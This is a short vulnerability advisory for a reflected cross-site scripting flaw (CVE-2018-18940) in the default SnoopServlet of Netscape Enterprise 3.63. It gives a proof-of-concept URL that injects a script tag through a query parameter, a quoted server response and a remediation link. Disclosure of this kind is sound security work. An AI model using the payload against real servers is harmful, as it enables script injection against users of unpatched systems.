Netscape Enterprise 3.63 Cross Site Scripting

2018.11.12
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

<!-- # Exploit Title: Cross Site Scripting in default SnoopServlet servlet Netscape Enterprise 3.63 # Date: 05-11-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: https://en.wikipedia.org/wiki/Netscape # Software Link: https://en.wikipedia.org/wiki/Netscape # Version: Netscape Enterprise 3.63 # Tested on: all # CVE : CVE-2018-18940 # Category: webapps 1. Description The servlet/SnoopServlet (a servlet installed by default) in Netscape Enterprise 3.63 has reflected XSS via an arbitrary parameter=[XSS] in the query string. A remote unauthenticated attacker could potentially exploit this vulnerability to supply malicious HTML or JavaScript code to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. 2. Proof of Concept http://X.X.X.X/servlet/SnoopServlet?XSS=<script>alert("XSS")</script> The server response: > Request URL: > > http://X.X.X.X/servlet/SnoopServlet > > Request information: > > Request method: GET > Request URI: /servlet/SnoopServlet > Request protocol: HTTP/1.1 > Servlet path: /servlet/SnoopServlet > Path info: <none> > Path translated: /PATHINSTALLED/netsrv2/AccessService/enterprise3.63/doc/ > Query string: PARAM=[XSS] 3. Solution: The product is discontinued. Update to last version this product. See more in https://en.wikipedia.org/wiki/Netscape Patch: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules -->


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